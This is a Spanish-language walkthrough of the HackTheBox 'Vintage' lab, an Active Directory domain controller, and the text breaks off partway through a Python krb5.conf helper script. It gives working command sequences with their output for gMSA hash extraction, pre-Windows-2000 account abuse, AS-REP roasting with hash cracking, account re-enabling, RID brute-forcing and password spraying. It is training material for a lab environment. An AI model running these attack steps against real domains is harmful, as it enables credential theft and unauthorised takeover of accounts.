Vintage – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Hard / Difícil
  • Platform / Plataforma: HackTheBox

Avatar vintage


Sinopsis Link to heading

“Vintage” es una máquina de dificultad Difícil de la plataforma HackTheBox. Esta máquina nos enseña cómo obtener hashes para viejas máquinas de legado/legacy en dominios de Active Directory, las cuales pueden ser usadas para moverse lateralmente en el dominio. Adicionalmente, aprendemos a habilitar cuentas deshabilitadas (teniendo los permisos correspondientes), aprovecharnos de DPAPI para obtener credenciales y cambiar permisos a cuentas de servicio para realizar un ataque Constrained Delegation y así pedir un ticket de Kerberos en nombre de un usuario privilegiado.


User / Usuario Link to heading

Información
Como es común en pentests de Windows de la vida real, empezamos la máquina Vintage con las siguientes credenciales: P.Rosa / Rosaisbest123

Empezando con un escaneo con Nmap muestra múltiples puertos abiertos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 Server Message Block (SMB), 5985 Windows Remote Management (WinRM); entre otros:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49670,49681,62654 10.10.11.45

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 00:37 -03
Nmap scan report for 10.10.11.45
Host is up (0.43s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-11 03:37:26Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc         Microsoft Windows RPC
62654/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-12-11T03:38:24
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.75 seconds

Primero, revisamos información del servicio SMB utilizando las credenciales dadas junto con NetExec:

❯ nxc smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'

SMB         10.10.11.45     445    10.10.11.45      [*]  x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB         10.10.11.45     445    10.10.11.45      [-] 10.10.11.45\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

Obtenemos un error: STATUS_NOT_SUPPORTED. Revisando la documentación de Microsoft acerca de este error nos dice que, en esencia, el servidor no es capaz de entender o procesar el tipo de información que el cliente está pidiendo.

Si pasamos estas credenciales nuevamente con NetExec, pero esta vez utilizando el servicio LDAP para obtener más información:

❯ nxc ldap 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'

LDAP        10.10.11.45     389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.45     389    dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

Obtenemos un dominio vintage.htb, un nombre de máquina dc01 y un FQDN dc01.vintage.htb.

Agregamos dc01, dc01.vintage.htb y vintage.htb, junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts:

❯ echo '10.10.11.45 dc01 dc01.vintage.htb vintage.htb' | sudo tee -a /etc/hosts

Dado que no tenemos claras respuestas desde los servicios SMB o LDAP, usemos Kerberos. Para esto, solicitemos un ticket (Ticket-Granting Ticket, o TGT) para el usuario P.Rosa usando las credenciales dadas junto con getTGT.py de Impacket:

❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in P.Rosa.ccache

Usemos este ticket para autenticarnos usando NetExec. Para esto, dado que el ticket almacena el nombre del dominio, usamos el FQDN como la IP del dominio:

❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa from ccache

Funcionó. Por lo que nos podemos autenticar a través de Kerberos.

Ahora somos capaces de ver, por ejemplo, recursos (disponibles) en el sistema:

❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb --shares

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa from ccache
SMB         dc01.vintage.htb 445    dc01             [*] Enumerated shares
SMB         dc01.vintage.htb 445    dc01             Share           Permissions     Remark
SMB         dc01.vintage.htb 445    dc01             -----           -----------     ------
SMB         dc01.vintage.htb 445    dc01             ADMIN$                          Remote Admin
SMB         dc01.vintage.htb 445    dc01             C$                              Default share
SMB         dc01.vintage.htb 445    dc01             IPC$            READ            Remote IPC
SMB         dc01.vintage.htb 445    dc01             NETLOGON        READ            Logon server share
SMB         dc01.vintage.htb 445    dc01             SYSVOL          READ            Logon server share

Esto también funciona para el servicio LDAP:

❯ KRB5CCNAME=P.Rosa.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb

LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\P.Rosa from ccache

Ya en este punto, usemos este servicio para obtener información acerca del entorno Active Directory usando bloodhound-python y el ticket obtenido para P.Rosa:

❯ KRB5CCNAME=P.Rosa.ccache bloodhound-python -c ALL -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -dc dc01.vintage.htb -ns 10.10.11.45 -k

INFO: Found AD domain: vintage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The DNS query name does not exist: FS01.vintage.htb.
INFO: Done in 00M 59S

Del output podemos ver que el mapeo está tratando de resolver a FS01.vintage.htb. Por lo que presumimos que es otra máquina en el dominio.

Para revisar si esta máquina realmente existe en el dominio es que podemos usar Kerbrute para ver si realmente existen. Primero, creamos una simple lista de un par de usuarios (uno claramente inexistente y uno que queremos saber que existe, para evadir falsos positivos):

❯ echo -n 'nonvalid$\nFS01$' > potential_machines.txt

❯ cat potential_machines.txt

nonvalid$
FS01$

Y usamos Kerbrute para ver si la cuenta existe:

❯ kerbrute userenum -d vintage.htb --dc dc01.vintage.htb ./potential_machines.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop

2024/12/11 01:19:39 >  Using KDC(s):
2024/12/11 01:19:39 >   dc01.vintage.htb:88

2024/12/11 01:19:40 >  [+] VALID USERNAME:       FS01$@vintage.htb
2024/12/11 01:19:40 >  Done! Tested 2 usernames (1 valid) in 0.519 seconds

La máquina FS01$ realmente existe. Debemos mantener esto en mente ya que, si ganamos accesso a la máquina dc01, podemos obtener la IP de esta máquina en caso de ser neesario.

Hora de Bloodhound. Subimos todos los archivos .json generados por bloodhound-python en Bloodhound (en mi caso usaré la Community Edition, o CE). El usuario P.Rosa no parece tener privilegios sobre otros usuarios en el dominio.

Vintage 3

No obstante, si buscamos por la cuenta de máquina FS01$ obtenemos algo:

Vintage 1

Este computador/máquina, más allá de ser miembro del grupo Domain Computers, también es parte del grupo Pre-Windows 2000 Compatible Access. Este grupo, a su vez, nos da una descripción: A backward compatibility group which allows read access on all users and groups in the domain. Buscando un poco acerca de este grupo llegamos a este blog donde dan más detalles acerca de este grupo y sus potenciales riesgos. En resumen, este grupo fue diseñado para ser compatible con Windows NT (el cual es una versión viejísima de Windows), y, por ende, nos da permisos de lectura absoluto sobre sus miembros para evitar problemas de compatibilidad. Dado que tenemos permisos de lectura absolutos sobre este usuario, podemos tratar de leer su hash NT o contraseña.

Adicionalmente, FS01$ tiene permisos ReadGMSAPassword sobre la cuenta group Service Managed Accounts (o gMSA) llamada GMSA01$, lo cual significa que podemos ser capaz se extraer su hash NT. Para aquellos que no lo sepan, las cuentas gMSA son cuentas de servicio (como la típica cuenta de servicio SQL llamada svc_sql), pero tienen contraseñas rotativas y bastante robustas las cuales son más fáciles de administrar que las cuentas de servicio tradicionales.

Vintage 2

Pero seguimos requiriendo de las credenciales para FS01$. Buscando un poco, encontramos una herramienta llamada pre2k-TS, la cual puede ser obtenida desde su repositorio de Github, escrita en Python. La clonamos, creamos un entorno virtual en el repositorio, instalamos las librerías requeridas y pasamos un archivo el cual contenga la palabra/string FS01$:

❯ git clone https://github.com/garrettfoster13/pre2k-TS.git -q

❯ cd pre2k-TS

❯ python3 -m venv .venv_pre2k

❯ source .venv_pre2k/bin/activate

❯ pip3 install -r requirements.txt

❯ echo 'FS01$' > pre2k_machine.txt

❯ python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -input pre2k_machine.txt -save

                                ___    __                __
                              /'___`\ /\ \              /\ \__
 _____   _ __    __          /\_\ /\ \\ \ \/'\          \ \ ,_\   ____
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , <    _______\ \ \/  /',__\
\ \ \L\ \ \ \//\  __//\______\  // /_\ \\ \ \\`\ /\______\\ \ \_/\__, `\
 \ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\/______/ \ \__\/\____/
  \ \ \/  \/_/ \/____/         \/_____/   \/_/\/_/          \/__/\/___/
   \ \_\
    \/_/                                        @garrfoster

Reading from pre2k_machine.txt...
Testing started at 2024-12-11 03:01:10.864261
Saving ticket in FS01$.ccache
[+] VALID CREDENTIALS: vintage.htb\FS01$:fs01

Tenemos credenciales: FS01$:fs01; además de un TGT llamado FS01$.ccache.

Opcionalmente, podemos obtener el ticket de Kerberos, o TGT, usando impacket-getTGT` con la contraseña hallada:

❯ impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in FS01$.ccache

Revisamos si este ticket funciona usando NetExec:

❯ KRB5CCNAME=FS01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\FS01$ from ccache

Para obtener el hash de GMSA01$ podemos usar NetExec y su flag --gmsa para el servicio LDAP:

❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb

LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\FS01$ from ccache

❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb --gmsa

LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] LDAPs connection to ldaps://dc01.vintage.htb failed - (104, 'ECONNRESET')
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] Even if the port is open, LDAPS may not be configured

Pero obtenemos algunos errores.

Por ende, podemos tratar de realizar esta misma acción utilizando la herramienta bloodyAD (fácilmente instalable con pip3 install bloodyAD) siguiendo las instrucciones de TheHackerRecipes:

❯ KRB5CCNAME=FS01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage -k get object 'GMSA01$' --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==

Obtenemos un hash NTLM para la cuenta GMSA01$.

Tal cual hemos visto, esta máquina no acepta directamente usuario/contraseña, pero sí tickets de Kerberos. Como ya hicimos antes, solicitamos un ticket de Kerberos para el usuario GMSA01$ con la herramienta impacket-getTGT:

❯ impacket-getTGT vintage.htb/'GMSA01$' -hashes ':a317f224b45046c1446372c4dc06ae53' -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in GMSA01$.ccache

Y revisamos, nuevamente, que este ticket funcione:

❯ KRB5CCNAME=GMSA01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\GMSA01$ from ccache

De vuelta a Bloodhound vemos qué es lo nuevo que puede realizar esta cuenta:

Vintage 4

Tiene los permisos AddSelf y GenericWrite sobre el grupo ServiceManagers. Por tanto, podríamos agregar nuestro primer usuario P.Rosa a este grupo.

Pero antes, miramos qué es lo que el grupo ServiceManagers puede hacer sobre otros usuario (y vemos si vale la pena agregar al usuario P.Rosa a aquel grupo):

Vintage 5

Los miembros del grupo ServiceManagers tienen permisos GenericAll sobre las cuentas de servicio svc_ark, svc_sql y svc_ldap. Con esto podríamos cambiar la contraseña de estas cuentas, solicitar sus hashes NT a través de un ataque Shadow Credentials o tratar de hacer estos usuarios Kerberosteables (para luego tratar de obtener sus hashes y crackearlos).

Dado que bloodyAD funcionó perfectamente con los tickets, usamos esta herramienta para agregar al usuario P.Rosa como miembro del grupo ServiceManager:

❯ KRB5CCNAME=GMSA01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'ServiceManagers' 'P.Rosa'

[+] P.Rosa added to ServiceManagers

Personalmente no recomiendo cambiar contraseñas, especialmente si son de cuentas de servicio (dado que, en un pentesting real, podríamos interrumpir un servicio). Por lo que podemos tratar de performar un ataque Shadow Credentials y, de no funcionar esto, hacer estos usuarios Kerberosteables. Para un Shadow Credentials, usamos y clonamos PyWhisker, instalando todas sus dependencias en un entorno virtual, usando un viejo commit de éste (dado que luego de algunos updates esta herramienta no funciona tan bien) y lo ejecutamos:

❯ git clone https://github.com/ShutdownRepo/pywhisker.git

<SNIP>

❯ cd pywhisker

❯ git checkout ec30ba5

Note: switching to 'ec30ba5'.
<SNIP>

❯ python3 -m venv .venv_pywhisker

❯ source .venv_pywhisker/bin/activate

❯ pip3 install -r requirements.txt

<SNIP>

❯ KRB5CCNAME=P.Rosa.ccache python3 pywhisker.py -d vintage.htb --dc-ip dc01.vintage.htb -u 'P.Rosa' -k --target 'svc_sql' --action 'add'

[!] Error while anonymous logging into vintage.htb

Pero obtenemos un error similar en LDAP similar al obtenido previamente con NetExec (el cual podemos ver usando la flag -v en PyWhisker).

Por lo que vamos por la segunda opción, tratemos de hacer estos objetivos Kerbrosteables usando bloodyAD siguiendo estos pasos. Primero, necesitamos solicitar un nuevo TGT como el usuario P.Rosa luego de agregar a este usuario al grupo ServiceManagers; esto porque al solicitar un nuevo ticket, este ticket vendrá “actualizado” con el usuario P.Rosa siendo usuario del grupo ServiceManagers. Si usamos el viejo ticket esto no funcionará dado que el viejo ticket lo solicitamos cuando P.Rosa todavía no era miembro de aquel grupo. Solicitamos este TGT “actualizado” usando impacket-getTGT nuevamente:

❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in P.Rosa.ccache

Tratamos de hacer las 3 cuentas de servicio disponibles Kerberosteables con bloodyAD en un oneliner de Bash:

❯ for service in {ark,sql,ldap}; do echo "[+] Attempting with svc_$service"; KRB5CCNAME=./P.Rosa.ccache bloodyAD -d vintage.htb -k --host dc01.vintage.htb add uac "svc_$service" -f DONT_REQ_PREAUTH; done

[+] Attempting with svc_ark
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ark's userAccountControl
[+] Attempting with svc_sql
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_sql's userAccountControl
[+] Attempting with svc_ldap
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ldap's userAccountControl

Guardamos los 3 usuarios objetivos en un archivo:

❯ echo -e 'svc_ark\nsvc_sql\nsvc_ldap' > svc_accounts.txt

❯ cat svc_accounts.txt

svc_ark
svc_sql
svc_ldap

Luego, usamos GetNPUsers.py de Impacket para solicitar hashes de estas cuentas:

❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$svc_ark@VINTAGE.HTB:851d22f6b1f287a72b214849a72f8f46$8a50aa850d7308d6395263f38eb6055edb7183497cf2efb3b1ae36519e78afe32d62237d5a4082bb46b1c1e6c6f91c9411a068a699af45812704edc1c96e089d8480dade56b2c51591464b0c35c7e6e765dc4383fb10b1deec223694148d250e8b015cfb109f28b85ae8aec3a489bbda22a9e0dcc8905cc11a15ec144cc2aa351422da6c01b9fe547e4b0443c83a799e9dda729dd51996a4de10a427cffb273fd9e9b61ce3a766c0a2c46426ff9df9de57e7dc24c36b7de72aabbca5b8ae2d724e4c3f22fc1f971a0056c6d83ec78f5845ccd6f467a34e85911bc28ec2c0761ac139b3ae5c0f207f3203
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$svc_ldap@VINTAGE.HTB:de181c54e1f1fa909b445dfafe21c00b$ba8f456c051f20a08d01c43d4a03834c772b69410e79acc9040a30be30fdcaa860052fedc9c0c00bba53dcbfa85f86441916057cfad0fa62ae5336895c9603b9825a129de10d22c97cd4103376e1c0c99138608a73fc4c03dcd6d5036f763771994c7f128e69d79fd8d30ca9d0a5a774b19b48c433a3290672e06b75e5b0739cfe1a22851f5752910a2c2b7aa586a7776577c2714b53dbc9f7a2df53937555cb35a0ad6342f739427d44f893ad80fd57fcdcf3a275fc820790ba5031890f81c4172a5894f1ca93754b1208375d49bab0cea9c79b51fd0dc6ffe7f450b10494bcf0333607e15ed619d4f7

Esto funcionó para 2 de los 3 usuarios; no funcionó para la cuenta svc_sql.

Buscando por el error KDC_ERR_CLIENT_REVOKED nos lleva a esta página. Allí se indica que esto puede deberse a que la cuenta esté deshabilitada, bloqueada o expirada. Podríamos tratar de habilitarla nuevamente, puesto que tenemos los permisos GenericWrite sobre svc_sql (la cuenta que da error) y tratar de editar sus permisos AD DCL con bloodyAD:

❯ KRB5CCNAME=./P.Rosa.ccache bloodyAD --host dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k remove uac svc_sql -f ACCOUNTDISABLE

[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl

Volvemos a correr impacket-GetNPUsers y esta vez obtenemos los hashes para las 3 cuentas:

❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$svc_ark@VINTAGE.HTB:77b89b0796c4903b9f1226fa7355c11d$d9851d61d3302b76e97275a1dfaf9b594fa911fd27a7d644e650718efd8a87a0e6df6f3baaf960a41a5d9bbaae857670c9c3facf310b6c7fe62438be1aaf8fd6908db4ace4807dc8fac229f4ac8dbcf3d7580e89a8abf82799260fc776f3872a6b2c3e31c5e604785d06553e9ae9cbb5cf6ffe7bd8877bc621fba4ac663b1a17b4d850a64a666e021a60931b96e55a35baa3e1833a5a01391f6b587df2a16a3828210cbdb0777fa1f93a7cb36002028a8726cfd40cafd8efc1d7ff8612875611676b4d7c8abe753ac7d1161059a916fea66204b0586450316b7aecdc33ff964ae45eeb221a5956b29a48
$krb5asrep$23$svc_sql@VINTAGE.HTB:fe9803f611a9551b6badcf401804687b$d13bcf4afdfd461c5399e8b72d0a5a5fcde2d1338a74d7be2fc23b938a7c3fecdcdba19f8032dfa39d758d8b0e0a05d80006195ea57a7bfd26ae6651c6522e9f764b214ec13a7d9e1ce02cf953419487e81c400722843011797ee4d4d6b2e9b701bfd4624b3473d556daabb737d24ca6cb28724f55ccd3cb18f0f2799e7dba3179ac8450dbf382668bf8b5a48061164884958783a8da2fefc2fefb45487509b807fd32a58dbec552174c9eed3b6edb54e06ad003350c994235709dc6e0ade45b6100b4ef1af3d8ffd5c668088b0d06824784754ff069bf109404a9ccd57cf0193ad3784028be5c560657
$krb5asrep$23$svc_ldap@VINTAGE.HTB:b76171b08ab5c02b5320b8fdf22e9f11$637d5c01fb8687faf076e35b2be71bc4c849c085390000dec28840826de2ccf3b25aa20c11fea0e2228a8bdaedf1c058873ea376a5a17f5065f734426500796672cf22ec1ee5b3519f4ba9583d400cb4f542ae3ef5733854b706c39a8be4bcaa2e0984e8a9d218a9cc449bf85eb66f039b935a149e2175f594729da41b3702d5cddc86bf2bc3a7cfcbb933d2d43dd79d7ca9147876138f271e42ace111d2baeb17d7eb91712bc7f3a4c712826552ea8b080d76e2ec18b948be74831a3d4379d047f1b3e3858a12419f91746493d732179d28e8a111026aeccfda5132cb974254c293bce9df1255c97072

Tratamos de crackear estos hashes a través de un Brute Force Password Cracking usando la herramienta john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt svc_acc_hashes

Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne       ($krb5asrep$23$svc_sql@VINTAGE.HTB)
1g 0:00:02:28 DONE (2024-12-11 04:49) 0.006718g/s 96370p/s 199723c/s 199723C/s  0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos credenciales para la cuenta svc_sql: svc_sql:Zer0the0ne.

Volvemos a a Bloodhound y revisamos si este usuario tiene algún permiso interesante:

Vintage 6

Pero no podemos ver permisos sobre otros usuarios y/o grupos.

Quizás esta contraseña hallada está siendo utilizada por otros usuarios en el dominio. Podemos usar el ticket de cualquier usuario (por ejemplo, P.Rose) en NetExec para obtener todos los usuarios disponibles usando la flag --rid-brute para el servicio SMB y los guardamos en un archivo:

❯ KRB5CCNAME=./P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache --rid-brute | grep 'User' | awk '{print $6}' | awk -F '\' '{print $2}'  > domain_users.txt

❯ cat domain_users.txt

Administrator
Guest
krbtgt
Domain
Protected
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

Ahora, podemos tratar un Password Spray contra estos usuarios usando la contraseña del servicio svc_sql. El “problema” yace en que sólo podemos usar Kerberos. Por lo que podemos usar Kerbrute y su comando passwordspray para perpetrar esta acción:

❯ kerbrute passwordspray domain_users.txt 'Zer0the0ne' -d vintage.htb --dc dc01.vintage.htb

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop

2024/12/11 05:03:11 >  Using KDC(s):
2024/12/11 05:03:11 >   dc01.vintage.htb:88

2024/12/11 05:03:13 >  [+] VALID LOGIN:  C.Neri@vintage.htb:Zer0the0ne
2024/12/11 05:03:13 >  Done! Tested 19 logins (1 successes) in 1.881 seconds

Tenemos nuevas credenciales: C.Neri@vintage.htb:Zer0the0ne

Solicitamos un TGT para este usuario:

❯ impacket-getTGT vintage.htb/C.Neri:Zer0the0ne -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in C.Neri.ccache

❯ KRB5CCNAME=./C.Neri.ccache nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\C.Neri from ccache

Como podemos ver en Bloodhound, este usuario es parte de los grupos ServiceManagers y Remote Management Users, por lo que podemos usar este usuario para acceder a la máquina víctima a través del servicio WinRM:

Vintage 10

Podemos tratar entonces de utilizar evil-winrm junto con la flag -r (ver la documentación de esta herramienta para más información) para utilizar el ticket del usuario C.Neri. Pero necesitamos retocar algunas cosas para ello. Por este motivo creé un script en Python el cual crea una copia del archivo /etc/krb5.conf (el cual necesitamos retocar para loguearnos con evil-winrm usando un ticket de Kerberos) y luego crea un archivo basados en el nombre del dominio y el Domain Controller:

#!/usr/bin/python3
# This script creates a copy/backup of '/etc/krb5.conf' file and then overwrites it
# based on a domain name and a machine name.
# For example: python3 evil-winrm_kerberos.py domain.local dc01
# REQUIRES ROOT since it is overwriting a file at '/etc' path.
import os
import sys
import argparse
import re
import shutil


def create_config_file(domain: str, dc: str) -> str:
    """
    Creates text for /etc/krb5.conf file

    :param domain: Domain to write and connect with evil-winrm
    :param dc: Domain Controller machine name
    """
    text_to_write = f"""
[libdefaults]
        default_realm = {domain.upper()}
[realms]
         {domain.upper()} = {{
                 kdc = {dc.lower()}.{domain.lower()}
                 admin_server = {dc.lower()}.{domain.lower()}
       }}
[domain_realm]
          {domain.lower()} = {domain.upper()}
          .{domain.lower()} = {domain.upper()}
"""
    return text_to_write 


def copy_file(source_path, destination_path):
    """
    Copies a file from source_path to destination_path.

    :param source_path: The path of the file to be copied.
    :param destination_path: The path where the file should be copied to.
    """
    try:
        if os.path.exists(destination_path):
            print(f"[!] Error: The backup file '{destination_path}' already exists. Check you are not overwriting an old backup that can be important or delete that file and retry.")
            sys.exit(1)
        shutil.copy(source_path, destination_path)
        print(f"[+] Backup created at {destination_path!r}.")
    except FileNotFoundError:
        print(f"[!] Error: The source file '{source_path}' does not exist.")
    except PermissionError:
        print(f"[!] Error: Permission denied when accessing '{destination_path}'.")
    except Exception as e:
        print(f"[!] An unexpected error occurred: {e}")


def ask_user(question: str)->bool:
    """
    Ask yes/no to a user to continue

    :param question: Question... :D
    """
    print(f"[?] {question} ", end='')
    user_input: str = str(input("[Y]es/[No]: ").strip())
    positive_pattern: re.Pattern = re.compile(r'^(y|ye|yes)$', re.IGNORECASE)
    negative_pattern: re.Pattern = re.compile(r'^(n|no)$', re.IGNORECASE)

    if positive_pattern.match(user_input):
        return True
    if negative_pattern.match(user_input):
        return False
    print("[-] It wasn't so hard. It was just 'yes' or 'no'... So I am taking that as a no.")
    return False


def check_being_exec_as_root():
    """
    Check if the script is being executed as root
    """
    if os.geteuid() != 0:
        print(f"[!] This script must be executed as 'root'. Read the source code if you don't trust me.")
        print(f"    Please run: sudo python3 {' '.join(sys.argv)}")
        sys.exit(1)


def get_user_arguments()->argparse.Namespace:
    # Create an ArgumentParser object
    parser = argparse.ArgumentParser(description="Configure krb5.conf for evil-winrm")

    # Add a positional argument
    parser.add_argument("domain", help="Domain Name. Example: vintage.htb")
    parser.add_argument("dc", help="Domain Controller Name: Example: dc01")

    # Return the parsed arguments
    return parser.parse_args()


def modify_file(args: argparse.Namespace, data_to_write: str, 
